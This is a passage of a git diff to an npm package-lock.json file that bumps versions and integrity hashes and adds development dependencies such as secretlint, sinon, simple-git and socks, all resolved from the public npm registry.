"3.0.0", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", "dev": true, + "optional": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" } }, "punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true + }, + "punycode.js": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz", + "integrity": "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==", "dev": true }, "qs": { - "version": "6.10.1", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", - "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", + "version": "6.12.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.12.0.tgz", + "integrity": "sha512-trVZiI6RMOkO476zLGaBIzszOdFPnCCXHPG9kn0yuS1uz6xdVxPfZdB3vUig9pxPFDM9BRAgz/YUIVQ1/vuiUg==", "dev": true, "requires": { - "side-channel": "^1.0.4" + "side-channel": "^1.0.6" } }, "queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" + }, + "rambda": { + "version": "7.5.0", + "resolved": "https://registry.npmjs.org/rambda/-/rambda-7.5.0.tgz", + "integrity": "sha512-y/M9weqWAH4iopRd7EHDEQQvpFPHj1AA3oHozE9tfITHUtTR7Z9PSlIRRG2l1GuW7sefC1cXFfIcF+cgnShdBA==", "dev": true }, "randombytes": { @@ -6030,6 +18838,7 @@ "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", "dev": true, + "optional": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -6040,11 +18849,24 @@ "strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true + "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==", + "dev": true, + "optional": true } } }, + "rc-config-loader": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/rc-config-loader/-/rc-config-loader-4.1.3.tgz", + "integrity": "sha512-kD7FqML7l800i6pS6pvLyIE2ncbk9Du8Q0gp/4hMPhJU6ZxApkoLcGD8ZeqgiAlfwZ6BlETq6qqe+12DUL207w==", + "dev": true, + "requires": { + "debug": "^4.3.4", + "js-yaml": "^4.1.0", + "json5": "^2.2.2", + "require-from-string": "^2.0.2" + } + }, "read": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", @@ -6054,11 +18876,37 @@ "mute-stream": "~0.0.4" } }, - "readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "read-pkg": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": "sha512-9viLL4/n1BJUCT1NXVTdS1jtm80yDEgR5T4yCelII49Mbj0v1rZdKqj7zCiYdbB0CuCgdrvHcNogAKTFPBocFA==", "dev": true, + "requires": { + "@types/normalize-package-data": "^2.4.3", + "normalize-package-data": "^6.0.0", + "parse-json": "^8.0.0", + "type-fest": "^4.6.0", + "unicorn-magic": "^0.1.0" + }, + "dependencies": { + "type-fest": { + "version": "4.41.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz", + "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==", + "dev": true + }, + "unicorn-magic": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.1.0.tgz", + "integrity": "sha512-lRfVq8fE8gz6QMBuDM6a+LO3IAzTi05H6gCVaUpir2E1Rwpo4ZUog45KpNXKC/Mn3Yb9UDuHumeFTo9iV/D9FQ==", + "dev": true + } + } + }, + "readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -6072,8 +18920,33 @@ "safe-buffer": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "dev": true + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + } + } + }, + "readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "requires": { + "minimatch": "^5.1.0" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "requires": { + "balanced-match": "^1.0.0" + } + }, + "minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "requires": { + "brace-expansion": "^2.0.1" + } } } }, @@ -6086,16 +18959,67 @@ "picomatch": "^2.2.1" } }, - "regexpp": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz", - "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", - "dev": true - }, + "replace-in-file": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/replace-in-file/-/replace-in-file-8.3.0.tgz", + "integrity": "sha512-4VhddQiMCPIuypiwHDTM+XHjZoVu9h7ngBbSCnwGRcwdHwxltjt/m//Ep3GDwqaOx1fDSrKFQ+n7uo4uVcEz9Q==", + "dev": true, + "requires": { + "chalk": "^5.3.0", + "glob": "^10.4.2", + "yargs": "^17.7.2" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "chalk": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz", + "integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==", + "dev": true + }, + "glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "requires": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + } + }, + "minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, "require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true + }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", "dev": true }, "resolve-from": { @@ -6104,10 +19028,37 @@ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", "dev": true }, + "resolve-pkg-maps": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/resolve-pkg-maps/-/resolve-pkg-maps-1.0.0.tgz", + "integrity": "sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==", + "dev": true + }, + "restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "dev": true, + "requires": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + } + }, + "retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true + }, "reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" + }, + "rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", "dev": true }, "rimraf": { @@ -6117,13 +19068,28 @@ "dev": true, "requires": { "glob": "^7.1.3" + }, + "dependencies": { + "glob": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } } }, "run-parallel": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, "requires": { "queue-microtask": "^1.2.2" } @@ -6131,27 +19097,78 @@ "safe-buffer": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", "dev": true }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "optional": true + }, "sax": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", - "dev": true + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz", + "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==" + }, + "secretlint": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/secretlint/-/secretlint-10.2.2.tgz", + "integrity": "sha512-xVpkeHV/aoWe4vP4TansF622nBEImzCY73y/0042DuJ29iKIaqgoJ8fGxre3rVSHHbxar4FdJobmTnLp9AU0eg==", + "dev": true, + "requires": { + "@secretlint/config-creator": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/node": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "debug": "^4.4.1", + "globby": "^14.1.0", + "read-pkg": "^9.0.1" + } + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "dev": true, + "requires": { + "commander": "^2.8.1" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + } + } }, "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==" + }, + "sentence-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/sentence-case/-/sentence-case-3.0.4.tgz", + "integrity": "sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==", + "dev": true, "requires": { - "lru-cache": "^6.0.0" + "no-case": "^3.0.4", + "tslib": "^2.0.3", + "upper-case-first": "^2.0.2" } }, "serialize-javascript": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", - "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", "dev": true, "requires": { "randombytes": "^2.1.0" @@ -6160,20 +19177,33 @@ "set-blocking": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", + "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==", "dev": true }, + "set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "requires": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + } + }, "setimmediate": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", - "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", "dev": true }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, "requires": { "shebang-regex": "^3.0.0" } @@ -6181,106 +19211,602 @@ "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" }, "side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz", + "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==", "dev": true, "requires": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4", + "object-inspect": "^1.13.1" } }, "signal-exit": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.6.tgz", - "integrity": "sha512-sDl4qMFpijcGw22U5w63KmD3cZJfBuFlVNbVMKje2keoKML7X2UzWbc4XrmEbDwg0NXJc3yv4/ox7b+JWb57kQ==", - "dev": true + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==" }, "simple-concat": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", - "dev": true + "dev": true, + "optional": true }, "simple-get": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-3.1.1.tgz", - "integrity": "sha512-CQ5LTKGfCpvE1K0n2us+kuMPbk/q0EKl82s4aheV9oXjFEz6W/Y7oQFVJuU6QG77hRT4Ghb5RURteF5vnWjupA==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz", + "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==", "dev": true, + "optional": true, "requires": { - "decompress-response": "^4.2.0", + "decompress-response": "^6.0.0", "once": "^1.3.1", "simple-concat": "^1.0.0" } }, + "simple-git": { + "version": "3.30.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.30.0.tgz", + "integrity": "sha512-q6lxyDsCmEal/MEGhP1aVyQ3oxnagGlBDOVSIB4XUVLl1iZh0Pah6ebC9V4xBap/RfgP2WlI8EKs0WS0rMEJHg==", + "dev": true, + "requires": { + "@kwsites/file-exists": "^1.1.1", + "@kwsites/promise-deferred": "^1.1.1", + "debug": "^4.4.0" + } + }, + "sinon": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/sinon/-/sinon-21.0.0.tgz", + "integrity": "sha512-TOgRcwFPbfGtpqvZw+hyqJDvqfapr1qUlOizROIk4bBLjlsjlB00Pg6wMFXNtJRpu+eCZuVOaLatG7M8105kAw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.1", + "@sinonjs/fake-timers": "^13.0.5", + "@sinonjs/samsam": "^8.0.1", + "diff": "^7.0.0", + "supports-color": "^7.2.0" + }, + "dependencies": { + "diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true + } + } + }, + "sinon-chai": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/sinon-chai/-/sinon-chai-3.7.0.tgz", + "integrity": "sha512-mf5NURdUaSdnatJx3uhoBOrY9dtL19fiOtAdT1Azxg3+lNJFiuN0uzaU3xX1LeAfL17kHQhTAJgpsfhbMJMY2g==", + "dev": true, + "requires": {} + }, "slash": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz", + "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==", + "dev": true + }, + "slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + } + }, + "slugify": { + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/slugify/-/slugify-1.6.6.tgz", + "integrity": "sha512-h+z7HKHYXj6wJU+AnS/+IH8Uh9fdcX1Lrhg1/VMdf9PwoBQXFcXiAdsy2tSK0P6gKwJLXp02r90ahUCqHk9rrw==", + "dev": true + }, + "smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true + }, + "snake-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz", + "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "socks": { + "version": "2.8.7", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.7.tgz", + "integrity": "sha512-HLpt+uLy/pxB+bum/9DzAgiKS8CX1EvbWxI4zlmgGCExImLdiad2iCwXT5Z4c9c3Eq8rP2318mPW2c+QbtjK8A==", + "dev": true, + "requires": { + "ip-address": "^10.0.1", + "smart-buffer": "^4.2.0" + } + }, + "socks-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-7.0.0.tgz", + "integrity": "sha512-Fgl0YPZ902wEsAyiQ+idGd1A7rSFx/ayC1CQVMw5P+EQx2V0SgpGtf6OKFhVjPflPUl9YMmEOnmfjCdMUsygww==", + "dev": true, + "requires": { + "agent-base": "^6.0.2", + "debug": "^4.3.3", + "socks": "^2.6.2" + }, + "dependencies": { + "agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "requires": { + "debug": "4" + } + } + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "spdx-correct": { + "version": 